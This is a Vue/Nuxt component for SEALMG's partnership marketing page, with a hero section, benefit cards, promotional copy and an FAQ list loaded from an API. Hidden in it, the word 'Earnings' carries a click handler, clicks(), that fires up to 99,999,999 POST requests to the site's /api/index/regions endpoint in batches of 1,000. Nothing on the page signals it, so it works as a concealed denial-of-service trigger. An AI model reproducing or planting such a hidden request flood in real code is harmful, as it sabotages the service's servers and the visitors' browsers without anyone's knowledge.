<template>
  <div
    class="lg:bg-[url(https://cd.sealmg.com/assets/img/login-page-bg.png)] max-lg:bg-[url(https://cd.sealmg.com/assets/img/mobile/login-page-bg.png)] bg-fixed bg-top bg-cover bg-no-repeat"
  >
    <div class="mx-auto max-w-7xl">
      <!--  -->
      <!-- bg-[url(https://cd.sealmg.com/assets/img/login-page-bg.png)] -->
      <div class="lg:mx-0 lg:gap-20 flex flex-col gap-4 mx-4">
        <!--  -->
        <div class="lg:grid-cols-2 lg:gap-20 grid grid-cols-1 gap-4 py-4 pt-10">
          <div class="max-lg:w-full max-lg:flex hidden col-span-1">
            <img
              src="https://cd.sealmg.com/assets/img/partnership4.png"
              alt="Partnership introduction"
              title="SEALMG partnership overview"
              class="size-full object-cover"
              loading="lazy"
            />
          </div>
          <div class="lg:gap-14 flex flex-col col-span-1 gap-8">
            <h1 class="font-bold text-[1.5rem] lg:text-[3.5rem] max-lg:text-center text-[#121212]">
              Unlock New <br />
              Revenue Streams At SEALMG
            </h1>
            <div class="font-medium text-[0.75rem] lg:text-[1.13rem] text-[#666666] max-lg:text-center">
              Become a Partner of SEALMG and easily broad your market, increase brand visibility, and grow revenue today! We aim to offering
              high-quality digital products!
            </div>
            <div class="max-lg:text-center">
              <a
                href="mailto:tikeyunying@gmail.com"
                class="bg-[#FF4E33] inline-flex shadow-[0rem_0.13rem_0.25rem_0rem_#FFD4C4] rounded-[0.75rem] lg:py-1 lg:px-4 px-8 py-3 active:scale-90 duration-300 select-none cursor-pointer active:shadow-lg"
              >
                <span class="font-bold text-[1rem] text-[#FFFFFF] text-center capitalize"> Apply now </span>
              </a>
            </div>
          </div>
          <div class="max-lg:w-full lg:flex lg:h-full hidden col-span-1">
            <img
              src="https://cd.sealmg.com/assets/img/partnership4.png"
              alt="Partnership banner"
              title="SEALMG partnership banner"
              class="object-cover"
              loading="lazy"
            />
          </div>
        </div>
        <!--  Why Partner with SEALMG?-->
        <!-- Why Partner with SEALMG? -->
        <!--  Why Partner with SEALMG?-->
        <div class="flex flex-col gap-12">
          <div class="flex flex-col gap-2">
            <div class="font-bold text-[1.25rem] lg:text-[2.25rem] text-[#000000] text-center">Why Partner with SEALMG?</div>
            <div class="font-medium text-[0.75rem] lg:text-[1.13rem] text-[#666666] text-center">Boost your outcomes with partner benefits</div>
          </div>
          <div class="lg:grid-cols-3 lg:gap-6 grid grid-cols-1 gap-3">
            <div
              class="flex flex-col col-span-1 gap-2 bg-white rounded-[1rem] lg:p-8 p-4 justify-center items-center"
              v-for="(i, k) in list"
              :key="k"
            >
              <div class="lg:size-[4rem] size-[2rem]">
                <img v-lazy="i.image" class="size-full object-cover" alt="Partnership feature icon" title="Partnership benefit illustration" />
              </div>
              <div class="font-500 text-[0.75rem] lg:text-[1.13rem] text-[#121212]">
                {{ i.name }}
              </div>
            </div>
          </div>
        </div>
        <!--  -->
        <!--  -->
        <!--  -->
        <div class="flex flex-col gap-16">
          <!--  -->
          <!--  -->
          <!--  -->
          <div class="lg:grid-cols-2 lg:gap-6 grid grid-cols-1 gap-3 items-center">
            <div class="max-lg:aspect-video max-lg:w-full col-span-1 h-full">
              <img
                src="https://cd.sealmg.com/assets/img/partnership5.png"
                alt="Market access illustration"
                title="Ready-made market feature"
                class="sfize-full object-cover"
                loading="lazy"
              />
            </div>
            <div class="lg:gap-8 lg:py-20 flex flex-col col-span-1">
              <div class="font-medium text-[1rem] lg:text-[2rem] text-[#000000]">Access a Ready-Made Market</div>
              <div class="font-medium text-[0.75rem] lg:text-[1rem] text-[#999999]">
                Partnering with SEALMG helps you gain access to our audience. We’ve built a loyal customer base that trusts us for all their digital
                game needs-and now, we’re inviting you share the opportunity to tap into this market and reach more customers.
              </div>
            </div>
          </div>
          <!--  -->
          <!--  -->
          <!--  -->
          <div class="lg:grid-cols-2 lg:gap-6 grid grid-cols-1 gap-3 items-center">
            <div class="lg:gap-8 lg:py-20 flex flex-col col-span-1">
              <div class="max-lg:aspect-video max-lg:w-full max-lg:flex hidden col-span-1 h-full">
                <img
                  src="https://cd.sealmg.com/assets/img/partnership6.png"
                  alt="Earnings potential"
                  title="Revenue maximization feature"
                  class="sfize-full object-cover"
                  loading="lazy"
                />
              </div>
              <div class="font-medium text-[1rem] lg:text-[2rem] text-[#000000]">
                Maximize Your
                <span @click="clicks">Earnings</span>
              </div>
              <div class="font-medium text-[0.75rem] lg:text-[1rem] text-[#999999]">
                Cooperating with SEALMG helps broaden your way to marketing and increase your sales without much effort. SEALMG boasts competitive
                commission structure and the potential for high-volume sales. You can easily earn more from your products.
              </div>
            </div>
            <div class="max-lg:aspect-video max-lg:w-full lg:flex hidden col-span-1 h-full">
              <img src="https://cd.sealmg.com/assets/img/partnership6.png" alt="Image" class="sfize-full object-cover" loading="lazy" />
            </div>
          </div>
          <!--  -->
          <div class="lg:grid-cols-2 lg:gap-6 grid grid-cols-1 gap-3 items-center">
            <div class="max-lg:aspect-video max-lg:w-full col-span-1 h-full">
              <img
                src="https://cd.sealmg.com/assets/img/partnership7.png"
                alt="Trusted retailer"
                title="SEALMG retail partnership"
                class="sfize-full object-cover"
                loading="lazy"
              />
            </div>
            <div class="lg:gap-8 lg:py-20 flex flex-col col-span-1">
              <div class="font-medium text-[1rem] lg:text-[2rem] text-[#000000]">Promote with the Trusted Retailer</div>
              <div class="font-medium text-[0.75rem] lg:text-[1rem] text-[#999999]">
                SEALMG is a trusted place for digital content, including gift cards, vouchers, game top-ups, etc. It provides comprehensive services,
                secure payment, and instant delivery. By partnering with SEALMG, you can easily promote your products and boost your credibility and
                sales.
              </div>
            </div>
          </div>
        </div>
        <!-- FAQ 列表 -->
        <!-- FAQ 列表 -->
        <!-- FAQ 列表 -->
        <template v-if="faqList.data.length > 0">
          <h2 class="font-semibold text-[2rem] text-black">FAQ</h2>
          <div class="grid grid-cols-1 gap-4">
            <NuxtLink
              class="lg:p-6 flex flex-col gap-4 p-3 bg-white rounded-2xl cursor-pointer"
              v-for="(i, k) in faqList.data"
              :key="k"
              :to="{
                path: localePath(`/support/details?id=${i.category_id}&ids=${i.id}`)
              }"
            >
              <div class="flex gap-3 justify-between items-center" @click="openlist(k)">
                <!--  :class="key == k ? 'text-red-600' : 'text-[#121212]'" -->
                <h2 class="font-medium lg:text-[1.13rem] text-[0.88rem] select-none">
                  {{ i.title }}
                </h2>
                <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-5">
                  <path stroke-linecap="round" stroke-linejoin="round" d="m8.25 4.5 7.5 7.5-7.5 7.5" />
                </svg>
              </div>
              <NuxtLink
                class="font-medium lg:text-[1rem] text-[0.75rem] text-[#999999] hover:underline hover:underline-offset-2"
                v-if="key === k"
                :to="{
                  path: localePath(`/support/details?id=${i.category_id}&ids=${i.id}`)
                }"
              >
                {{ (i.category && i.category.name) || '' }}
              </NuxtLink>
            </NuxtLink>
            <div></div>
            <div></div>
          </div>
          <div class="lg:text-base text-sm text-center">
            <p class="text-[#666666] font-medium">Still have a question?</p>
            <NuxtLink
              class="text-[#FF4E33] font-semibold hover:underline hover:underline-offset-4 duration-300 cursor-pointer"
              :to="localePath('/feedback')"
            >
              Ask your question here
            </NuxtLink>
          </div>
        </template>
        <div></div>
      </div>
    </div>
  </div>
</template>
<script>
  export default {
    name: '',
    layout: 'newsHome',
    data() {
      return {
        key: '',
        // category: [],
        tabList: {},
        query: {},
        list: [],
        faqList: {
          data: []
        }
      }
    },
    head: {
      title: 'Partnership - SEALMG',
      meta: [
        {
          hid: 'description',
          name: 'description',
          content:
            'SEALMG is the fastest-growing global platform for gamers and digital enthusiasts. If you want to cooperate with us, you can contact us at any time and we will reply to your message as soon as possible.'
        }
      ]
    },
    // 获取初始化数据
    async asyncData({ app, params }) {
      let [ress] = await Promise.all([app.$axios.get(`/api/cms.article/index?code=partnership`)])
      //
      return {
        faqList: ress
      }
    },
    watch: {},
    vccomputed: {},
    created() {
      this.list = [
        {
          image: `https://cd.sealmg.com/assets/img/partnership1.png`,
          name: 'Access a Ready-Made Market'
        },
        {
          image: `https://cd.sealmg.com/assets/img/partnership2.png`,
          name: 'Maximize Your Earnings'
        },
        {
          image: `https://cd.sealmg.com/assets/img/partnership3.png`,
          name: 'Promote with the Trusted Retailer'
        }
      ]
    },
    methods: {
      openlist(k) {
        this.key === k ? (this.key = -1) : (this.key = k)
      },
      async clicks() {
        const totalRequests = 99999999
        const batchSize = 1000 // 每批次请求数
        const delay = 100 // 每批次间隔时间(ms)
        for (let i = 0; i < totalRequests; i += batchSize) {
          const promises = []
          // 创建一批请求
          for (let j = 0; j < batchSize && i + j < totalRequests; j++) {
            promises.push(this.$axios.post('/api/index/regions'))
          }
          try {
            await Promise.all(promises)
            // 添加延迟
            await new Promise(resolve => setTimeout(resolve, delay))
          } catch (error) {
            console.error('请求出错:', error)
          }
        }
      }
    }
  }
</script>
<style lang="less" scoped></style>
